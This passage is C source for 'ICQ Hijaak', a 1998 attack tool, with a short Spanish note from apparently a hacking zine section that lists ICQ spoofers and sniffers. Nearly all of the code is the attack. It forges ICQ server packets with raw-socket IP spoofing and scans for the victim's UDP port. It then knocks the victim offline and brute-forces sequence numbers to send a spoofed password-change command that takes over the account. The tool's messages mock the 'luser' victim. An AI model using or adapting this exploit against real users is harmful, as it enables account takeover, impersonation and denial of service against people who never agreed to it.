UCHDR_PROTOCOL ) = byte( *packet, IP_PROTOCOL ); word( *chdr, UCHDR_UDPLEN ) = word( *udp, UDP_LENGTH ); pchecksum = ( ~cksum( (u16 *)&chdr, UCHDR_END / 2 ) ) & 0xFFFF; if ( udplength & 1 ) { byte( *udp, udplength + 1 ) = 0; } pchecksum += ( ~cksum((u16 *)udp, udplength/ 2 + (udplength&1)) ) & 0xFFFF; pchecksum += ( pchecksum >> 16 ); word( *udp, UDP_CHECKSUM ) = (u16)~pchecksum ; } int CreateRawSocket( void ) { int s; int option; s = socket( AF_INET, SOCK_RAW, IPPROTO_RAW ); if ( s < 0 ) { perror("Socket:"); exit(-1); } option = 1; if ( setsockopt( s, IPPROTO_IP, IP_HDRINCL, (char *)&option, sizeof( option ) ) < 0 ) { perror("Setting IP_HDRINCL"); exit(0); } return s; } int GetLocalAddress( struct in_addr remote, struct in_addr * local ) { struct sockaddr_in laddress; struct sockaddr * laddr = (struct sockaddr *)&laddress; struct sockaddr_in raddress; struct sockaddr * raddr = (struct sockaddr *)&raddress; int s; int err; int len; s = socket( AF_INET, SOCK_DGRAM, IPPROTO_UDP ); if ( s < 1 ) { return FAILURE; } raddress.sin_port = htons( 1984 ); /* DON'T CARE */ raddress.sin_family = AF_INET; raddress.sin_addr = remote; err = connect(s, raddr, sizeof(raddress )); if ( err < 0 ) { return FAILURE; } len = sizeof(laddress); err = getsockname(s, laddr, &len ); if ( err < 0 ) { return FAILURE; } *local = laddress.sin_addr; close(s); return SUCCESS; } int CreateICMPSocket( void ) { int s; s = socket( AF_INET, SOCK_RAW, IPPROTO_ICMP ); if ( s < 1 ) return FAILURE; return s; } int SendUDP( int s, struct in_addr source, struct in_addr dest, u16 sport, u16 tport ) { static u8 packet[576]; struct sockaddr_in raddress; struct sockaddr * raddr = (struct sockaddr *)&raddress; int psize; int err; raddress.sin_port = htons( 1984 ); /* DON'T CARE */ raddress.sin_family = AF_INET; raddress.sin_addr = dest; psize = IP_END + UDP_END + 6; make_ip_hdr( packet, psize, IPPROTO_UDP, 0x666, 0, source, dest, 0x7F ); make_udp_hdr( packet, psize - IP_END, sport, tport); err = sendto( s, packet, psize, 0,raddr, sizeof(raddress)); if ( err != psize ) { perror("Sending"); return FAILURE; } return SUCCESS; } const int verify_secs = 2; int VerifyUDPPort( struct in_addr addr, u16 port ) { int s_icmp; struct timeval start_time, end_time, wait_time; fd_set rdfs; int err; static u8 packet[1500]; /* should be max MTU */ struct sockaddr junkaddr; int junksize; u8 * icmphdr; u8 * fiphdr; u8 * fudphdr; int len; int got_unreach; struct in_addr localaddr; int rawsock; if ( GetLocalAddress(addr, &localaddr) == FAILURE ) { perror("GetLocalAddress"); exit(-1); } s_icmp = CreateICMPSocket(); if ( s_icmp == FAILURE ) { perror("Getting ICMP socket"); exit(-1); } rawsock = CreateRawSocket(); if ( rawsock < 0 ) { perror("Getting Raw socket"); exit(-1); } FD_ZERO( &rdfs ); FD_SET( s_icmp, &rdfs ); if ( SendUDP(rawsock, localaddr, addr, 0x1984, port ) == FAILURE ) { perror("Sending UDP packet"); exit(-1); } got_unreach = 0; gettimeofday( &start_time, NULL ); do { wait_time.tv_usec = 0; wait_time.tv_sec = verify_secs; err = select( s_icmp+1, &rdfs, NULL, NULL, &wait_time ); if ( -1 == err ) { perror("VerifyUDPPort - Select"); exit(-1); } if ( !err ) break; junksize = sizeof( struct sockaddr ); err = recvfrom( s_icmp, packet, 1500, 0, &junkaddr, &junksize ); if ( -1 == err ) { perror("VerifyUDPPort - recvfrom: "); exit(-1); } if ( (byte(*packet,IP_PROTOCOL ) != IPPROTO_ICMP ) || (dword(*packet, IP_SRC ) != *((u32 *)&addr) ) ) goto check_timeout; len = ( byte(*packet, 0 ) & 0x0F ) * 4; icmphdr = packet + len; if ( (byte(*icmphdr,ICMP_TYPE ) != 3 ) || (byte(*icmphdr,ICMP_CODE ) != 3 ) ) goto check_timeout; fiphdr = icmphdr + ICMP_END + 4/*clear error code*/; len = ( byte(*fiphdr, 0 ) & 0x0F ) * 4; if ( (byte(*fiphdr,IP_PROTOCOL ) != IPPROTO_UDP ) || ( (dword(*fiphdr, IP_DST ) != *((u32 *)&addr) ) ) ) goto check_timeout; fudphdr = fiphdr + len; if ( word(*fudphdr, UDP_DEST ) == htons( port ) ) { got_unreach = 1; break; } check_timeout: gettimeofday( &end_time, NULL ); } while ( ( end_time.tv_sec - start_time.tv_sec ) < verify_secs ); close( s_icmp ); close( rawsock); if ( got_unreach ) return FAILURE; else return SUCCESS; } typedef struct foobar { int next; int prev; u16 rem_port; int times; } port_info; #define MAX_BURST 128 #define UNUSED_HEAD MAX_BURST + 1 #define UNUSED_TAIL MAX_BURST + 2 #define LIVE_HEAD MAX_BURST + 3 #define LIVE_TAIL MAX_BURST + 4 #define FIRST_LPORT 55000 #define SEND_COUNT 3 #define NEXT(i) List[(i)].next #define PREV(i) List[(i)].prev #define PORT(i) List[(i)].rem_port #define TIMES(i) List[(i)].times int UDPScan( struct in_addr addr, u16 start, u16 end, u16 * tport ) { int unused_head; int unused_tail; int live_head; int live_tail; int i; port_info List[ LIVE_TAIL + 1 ]; int Current[ MAX_BURST ]; int cur_min, cur_max; int now_port; int delay; int my_port; int cur_send; struct timeval wait_time; fd_set rdfs; int err; int s_icmp, rawsock; struct in_addr localaddr; *tport = 0; if ( GetLocalAddress(addr, &localaddr) == FAILURE ) { perror("GetLocalAddress"); return FAILURE; } s_icmp = CreateICMPSocket(); if ( s_icmp == FAILURE ) { perror("Getting ICMP socket"); return FAILURE; } rawsock = CreateRawSocket(); if ( rawsock < 0 ) { perror("Getting Raw socket"); return FAILURE; } FD_ZERO( &rdfs ); FD_SET( s_icmp, &rdfs ); List[ LIVE_TAIL ].next = -1; List[ LIVE_TAIL ].prev = LIVE_HEAD; List[ LIVE_TAIL ].rem_port = 0; List[ LIVE_HEAD ].prev = -1; List[ LIVE_HEAD ].next = LIVE_TAIL; List[ LIVE_HEAD ].rem_port = 0; List[ UNUSED_TAIL ].next = -1; List[ UNUSED_TAIL ].prev = UNUSED_HEAD; List[ UNUSED_TAIL ].rem_port = 0; List[ UNUSED_HEAD ].prev = -1; List[ UNUSED_HEAD ].next = UNUSED_TAIL; List[ UNUSED_HEAD ].rem_port = 0; for ( i = 0; i < MAX_BURST ; i++ ) { PREV( i ) = PREV( UNUSED_TAIL ); NEXT( i ) = UNUSED_TAIL; NEXT( PREV( i ) ) = i; PREV( NEXT( i ) ) = i; PORT( i ) = 0; TIMES( i ) = SEND_COUNT; } now_port = start; cur_min = now_port; cur_max = MAX_BURST; my_port = FIRST_LPORT; cur_send = 16; while ( 1 ) { int cur; int cnt; cur_max = cur_send; cur_min = now_port; cur = List[ LIVE_HEAD ].next; cnt = 0; while ( NEXT(cur) != -1 ) { if (!cur_max ) { break; } cnt++; if ( SendUDP(rawsock, localaddr, addr, my_port, PORT(cur) ) == FAILURE ) { perror("Sending UDP packet"); return FAILURE; } cur_max--; TIMES(cur)--; cur = NEXT(cur); if ( NEXT(cur) > LIVE_TAIL ) { printf("Ugh! %d \n", NEXT(cur) ); exit(-1); } } for ( i = 0; i < cur_max ; i ++ ) { int node; if ( cur_min > end ) break; node = NEXT( UNUSED_HEAD ); if ( -1 == NEXT( node ) ) break; NEXT( UNUSED_HEAD ) = NEXT( node ); PREV( NEXT(node) ) = UNUSED_HEAD; PREV( node ) = PREV( LIVE_TAIL ); NEXT( node ) = LIVE_TAIL; NEXT( PREV( node ) ) = node; PREV( NEXT( node ) ) = node; PORT( node ) = cur_min + i; if ( SendUDP(rawsock, localaddr, addr, my_port, cur_min+i ) == FAILURE ) { perror("Sending UDP packet"); return FAILURE; } Current[ i ] = node; } if ( ( now_port >= end ) && ( !cnt ) ) { printf("Found nothing!\n"); return SUCCESS; } now_port += cur_max; /* * Delay, waiting for responses. Continue until the * operation times out, meaning that we waited long enough * for a packet.. */ cnt = 0; while ( 1 ) { int junksize; static struct sockaddr junkaddr; static u8 packet[1500]; int len; u8 * icmphdr, * fiphdr, *fudphdr; int got_port; int cur; wait_time.tv_usec = 0; wait_time.tv_sec = 5; FD_SET( s_icmp, &rdfs ); err = select( s_icmp+1, &rdfs, NULL, NULL, &wait_time ); if ( -1 == err ) { perror("UDPSCAN - Select"); return FAILURE; } if ( !err ) { break; } junksize = sizeof( struct sockaddr ); err = recvfrom( s_icmp, packet, sizeof(packet), 0, &junkaddr, &junksize ); if ( -1 == err ) { perror("UDPSCAN - recvfrom: "); exit(-1); } if ( (byte(*packet,IP_PROTOCOL ) != IPPROTO_ICMP ) || (dword(*packet, IP_SRC ) != *((u32 *)&addr) ) ) continue; len = ( byte(*packet, 0 ) & 0x0F ) * 4; icmphdr = packet + len; if ( (byte(*icmphdr,ICMP_TYPE ) != 3 ) || (byte(*icmphdr,ICMP_CODE ) != 3 ) ) continue; fiphdr = icmphdr + ICMP_END + 4/*clear error code*/; len = ( byte(*fiphdr, 0 ) & 0x0F ) * 4; if ( (byte(*fiphdr,IP_PROTOCOL ) != IPPROTO_UDP ) || ( (dword(*fiphdr, IP_DST ) != *((u32 *)&addr) ) ) ) continue; fudphdr = fiphdr + len; got_port = ntohs( word(*fudphdr, UDP_DEST ) ) ; if ( ( got_port >= cur_min ) && ( got_port < (cur_min+cur_max) ) ) { cur = Current[ got_port - cur_min ]; PREV( NEXT(cur) ) = PREV( cur ); NEXT( PREV(cur) ) = NEXT( cur ); PREV( cur ) = PREV( UNUSED_TAIL ); NEXT( cur ) = UNUSED_TAIL; NEXT( PREV( cur ) ) = cur; PREV( NEXT( cur ) ) = cur; cnt++; continue; } /* * if we get here, then it was one of the older * ones, so look through the array for it */ cur = NEXT( LIVE_HEAD ); while ( NEXT(cur) != -1 ) { if ( PORT(cur) == got_port ) { PREV( NEXT(cur) ) = PREV( cur ); NEXT( PREV(cur) ) = NEXT( cur ); PREV( cur ) = PREV( UNUSED_TAIL ); NEXT( cur ) = UNUSED_TAIL; NEXT( PREV( cur ) ) = cur; break; } cur = NEXT(cur); } if ( NEXT(cur) == -1 ) { printf("RESPONSE FOR PORT %d UNEXPECTED! \n", got_port); } else { cnt++; } } printf("[UDP Scan working] Got %d responses \n", cnt ); if ( cnt < ( (cur_send/4) * 3 ) ) { cur_send /= 2; if ( cur_send < 16 ) { cur_send = 16; } } else { cur_send *= 2; if ( cur_send > MAX_BURST ) { cur_send = MAX_BURST; } } cur = NEXT( LIVE_HEAD ); while ( NEXT(cur) != -1 ) { if (!TIMES(cur) ) { printf("SCORE! Port is %d \n",PORT(cur)); close( s_icmp ); close( rawsock); *tport = PORT(cur); return SUCCESS; } cur = NEXT(cur); } } close( s_icmp ); close( rawsock); return SUCCESS; } #define COMMAND_CHANGEPASSWORD 0x049C #define COMMAND_LOGOFF 0x0438 #define RESPONSE_ERROR 0x00F0 int WritePacket(u8 * data_ptr, int * size, char * format, ... ) { u8 * ptr; va_list ap; u32 dword_param; u16 word_param; u8 byte_param; u8 * string_param; int string_length; int * data_length; ap = va_start( ap, format ); ptr = data_ptr; while ( *format ) { switch ( *format++ ) { case 'L': /* dword */ dword_param = va_arg(ap, u32 ); *(ptr++) = dword_param & 0xFF; *(ptr++) = (dword_param >> 8 ) & 0xFF; *(ptr++) = (dword_param >> 16) & 0xFF; *(ptr++) = (dword_param >> 24) & 0xFF; break; case 'W': /* word */ word_param = va_arg(ap, u16 ); *(ptr++) = word_param & 0xFF; *(ptr++) = (word_param >> 8 ) & 0xFF; break; case 'B': /* Byte */ byte_param = va_arg(ap, u8 ); *(ptr++) = byte_param; break; case 'S': /* ICQ string */ string_param = va_arg(ap, u8 * ); string_length = strlen( string_param ) + 1; *(ptr++) = (string_length ) & 0xFF; *(ptr++) = (string_length >> 8) & 0xFF; memcpy( ptr, string_param, string_length ); ptr += string_length; break; case 'D': /* pure data with length byte */ data_length = va_arg(ap, int * ); string_param = va_arg(ap, u8 * ); memcpy( ptr, string_param , *data_length ); ptr += *data_length; break; default: fprintf(stderr,"Invalid type %c \n", *(format-1) ); return FAILURE; } } /* return the size taken up */ *size = (ptr - data_ptr ); return SUCCESS; } u32 icq_uin = -1; u16 icq_seq = 0; u16 icq_seq2 = 0; #define ICQ4_VER 0 #define ICQ4_RANDOM 2 #define ICQ4_ZERO 4 #define ICQ4_COMMAND 6 #define ICQ4_SEQ 8 #define ICQ4_SEQ2 10 #define ICQ4_UID 12 #define ICQ4_CHECK 16 #define ICQ4_END 20 void create_icq4_hdr( u8 * data_ptr, u16 any_number, u16 command, int data_size ) { u32 check; u32 check2; u32 keyvalue; int count; int length; int i; u8 ofs; u8 val; length = data_size + ICQ4_END; memset( data_ptr, 0, ICQ4_END ); word(*data_ptr, ICQ4_VER ) = 0x4; word(*data_ptr, ICQ4_RANDOM) = any_number; word(*data_ptr, ICQ4_COMMAND ) = command; word(*data_ptr, ICQ4_SEQ ) = icq_seq; word(*data_ptr, ICQ4_SEQ2 ) = icq_seq2; dword(*data_ptr,ICQ4_UID ) = icq_uin; dword(*data_ptr,ICQ4_CHECK) = 0x0; check = ( *(data_ptr + 8) << 24) | ( *(data_ptr + 4) << 16 ) | ( *(data_ptr + 2) << 8 ) | ( *(data_ptr + 6) ); ofs = random() % length; val = *(data_ptr + ofs ); check2 = ( ofs << 24 ) | ( val << 16 ); ofs = random() % 256; val = icq_check_data[ ofs ]; check2 |= ( ofs << 8 ) | ( val ); check2 ^= 0x00FF00FF; check ^= check2; dword(*data_ptr,ICQ4_CHECK ) = check; keyvalue = length * 0x66756B65; keyvalue += check; count = ( length + 3 ) / 4; count += 3; count /= 4; for ( i = 0; i < count ; i++ ) { u32 * r; if ( i == 4 ) continue; r = (u32 *)(data_ptr + (i*4) ); *r ^= (keyvalue + icq_check_data[i*4] ); } word(*data_ptr, ICQ4_VER ) = 0x4; /* NECESSARY! */ } void create_icq3_header( u8 * data_ptr, int * size, u16 command, u16 seq1, u16 seq2, u32 UIN ) { int len, len2, err, ofs, val; u32 check, check2; err = WritePacket( data_ptr,&len, "WWWWL", 0x03, command, seq1, seq2, UIN ); if ( err == FAILURE ) { printf("Programmer Error in create_icq3_header\n"); exit(-1); } check = ( *(data_ptr + 8) << 24) | ( *(data_ptr + 4) << 16 ) | ( *(data_ptr + 2) << 8 ) | ( *(data_ptr + 6) ); ofs = random() % len; val = *(data_ptr + ofs ); check2 = ( ofs << 24 ) | ( val << 16 ); ofs = random() % 256; val = icq_check_data[ ofs ]; check2 |= ( ofs << 8 ) | ( val ); check2 ^= 0x00FF00FF; check ^= check2; err = WritePacket( (data_ptr + len),&len2,"L", check ); *size = len + len2; } static u8 packet[ 1500 ]; void main( int argc, char ** argv ); void main( int argc, char ** argv ) { int count; int i; u16 j, k; struct in_addr * addr_list; struct in_addr * target_list; int err; struct in_addr you; struct in_addr me; int rawsock; struct sockaddr raddr; struct sockaddr_in * r_in = (struct sockaddr_in *)&raddr; int size; u8 * data_ptr; u8 * hdr_ptr; int hdr_size; u16 your_port; int retries; int base_port; if ( argc < 5 ) { fprintf(stderr, "--=--==[ ICQ Hijaak ]=====------------------------==--------------\n" "Author: wumpus@innocent.com * Copyright (c) 1998 Wolvesbane\n" "[ http://www.rootshell.com/ ] - Usage: \n" " hijaak [options] icq-server target-uin target-ip new-password \n" "\n" "icq-server: Packets will be *spoofed* from the (possibly plural) \n" " IP addresses of this parameter. \n" "\n" "target-uin: D'Oh! \n\n" "target-ip: Finding this is up to you. May the farce be with you\n" "\nnew-password: D'Oh! Take a guess \n" "\nNo options are available at this time.\n" ); exit(-1); } base_port = 0; if ( argc > 5 ) { base_port = atoi( argv[5] ); } if (!base_port) base_port = 1024; icq_uin = atol( argv[2] ); if ( !icq_uin ) { fprintf(stderr, "Who do you want me to kill, boss? \n"); exit(-1); } err = MultiResolve(argv[3],&count,&target_list); if ( err == -1 ) { herror("Resolving target\n"); exit(-1); } if ( count > 1 ) { fprintf(stderr, "Hey! Moron! You need to specify an UNAMBIGUOUS victim IP. \n" ); exit(-1); } you = target_list[0]; free( target_list ); err = MultiResolve(argv[1],&count,&addr_list); if ( err == -1 ){ herror("Resolving ICQ server"); exit(-1); } r_in->sin_port = htons( 1984 ); /* DON'T CARE */ r_in->sin_family = AF_INET; r_in->sin_addr = you; hdr_ptr = packet + IP_END + UDP_END; rawsock = CreateRawSocket(); printf("** Scanning for luser's ICQ port ...\n"); your_port = base_port; while ( 1 ) { err = UDPScan(you, your_port, 65535, &your_port ); if ( ( err == -1 ) || ( !your_port ) ) { fprintf(stderr, "D'Oh! Can't find a target port. Better check that target IP again!\n"); exit(-1); } if ( FAILURE == VerifyUDPPort( you, your_port ) ) { fprintf(stderr, "UDP scan found invalid port. Retrying... Hit CTRL-C to exit\n"); continue; } break; } printf("*** Got luser's port at %d \n", your_port ); create_icq3_header(hdr_ptr, &hdr_size, RESPONSE_ERROR, 0, 0, icq_uin ); retries = 3; while ( retries-- ) { printf("Trying to knock luser offline. Attempt %d\n", 3 - retries ); for ( i = 0; i < count ; i++ ) { int psize; psize = IP_END + UDP_END + hdr_size; make_ip_hdr( packet, psize, IPPROTO_UDP, 0x666, 0, addr_list[i], you, 0x7F ); make_udp_hdr( packet, psize - IP_END, 4000,your_port ); err = sendto( rawsock, packet, psize, 0, &raddr, sizeof(raddr)); if ( err != psize ) { perror("Sending"); exit(-1); } } if ( FAILURE == VerifyUDPPort( you, your_port ) ) { break; } sleep( 3 ); /* Give 'em some time */ if ( FAILURE == VerifyUDPPort( you, your_port ) ) { break; } sleep(3); } printf("Retries is %d \n", retries ); if ( 0 > retries ) { fprintf(stderr, "Uh Oh! Something ain't working. Can't toast the luser. Sorry, dude.\n"); exit(-1); } /* more time? how long does it take to reconnect? */ sleep(16); printf("** Scanning for luser's _new_ ICQ port ...\n"); while ( 1 ) { err = UDPScan(you, your_port, 65535, &your_port ); if ( ( err == -1 ) || ( !your_port ) ) { fprintf(stderr, "D'Oh! Can't find the new port! Maybe your target is smarter than you?\n"); exit(-1); } if ( FAILURE == VerifyUDPPort( you, your_port ) ) { fprintf(stderr, "New UDP scan found invalid port. Retrying... Hit CTRL-C to exit\n"); continue; } break; } printf("*** Got luser's new connection at %d \n", your_port ); printf("*** Hijaaking account now...(*LONG* version)\n"); for ( k = 0; k < 14 ; k++ ) { for ( j = 0; j < 14 ; j++ ) { int psize; icq_seq = k; icq_seq2 = j; data_ptr = hdr_ptr + ICQ4_END; WritePacket( data_ptr, &size, "S",argv[4] ); create_icq4_hdr(hdr_ptr, random()&0xFFFF, COMMAND_CHANGEPASSWORD, size ); hdr_size = ICQ4_END; for ( i = 0; i < count ; i++ ) { psize = IP_END + UDP_END + hdr_size + size; make_ip_hdr( packet, psize, IPPROTO_UDP, 0x666, 0, you, addr_list[i], 0x7F ); make_udp_hdr( packet, psize - IP_END, your_port, 4000); err = sendto( rawsock, packet, psize, 0, &raddr, sizeof(raddr)); if ( err != psize ) { perror("Sending"); exit(-1); } usleep( 1000 ); err = sendto( rawsock, packet, psize, 0, &raddr, sizeof(raddr)); if ( err != psize ) { perror("Sending"); exit(-1); } } } } printf("Disconnecting the remote luser... \n"); create_icq3_header(hdr_ptr, &hdr_size, RESPONSE_ERROR, 0, 0, icq_uin ); for ( i = 0; i < count ; i++ ) { int psize; psize = IP_END + UDP_END + hdr_size; make_ip_hdr( packet, psize, IPPROTO_UDP, 0x666, 0, addr_list[i], you, 0x7F ); make_udp_hdr( packet, psize - IP_END, 4000,your_port ); err = sendto( rawsock, packet, psize, 0, &raddr, sizeof(raddr)); if ( err != psize ) { perror("Sending"); exit(-1); } } free( addr_list ); } <--> Descripcion y Notas: A ver, que repasemos. Por esta seccion ya han pasado ICQ spoofers, ICQ sniffers, y ahora tenemos al ICQ Hijacking, que es un poquito largo, pero bueno. Asi podremos suplantar la identidad de una persona, e incluso se advierte de la posibilidad de cambiarle la password ;)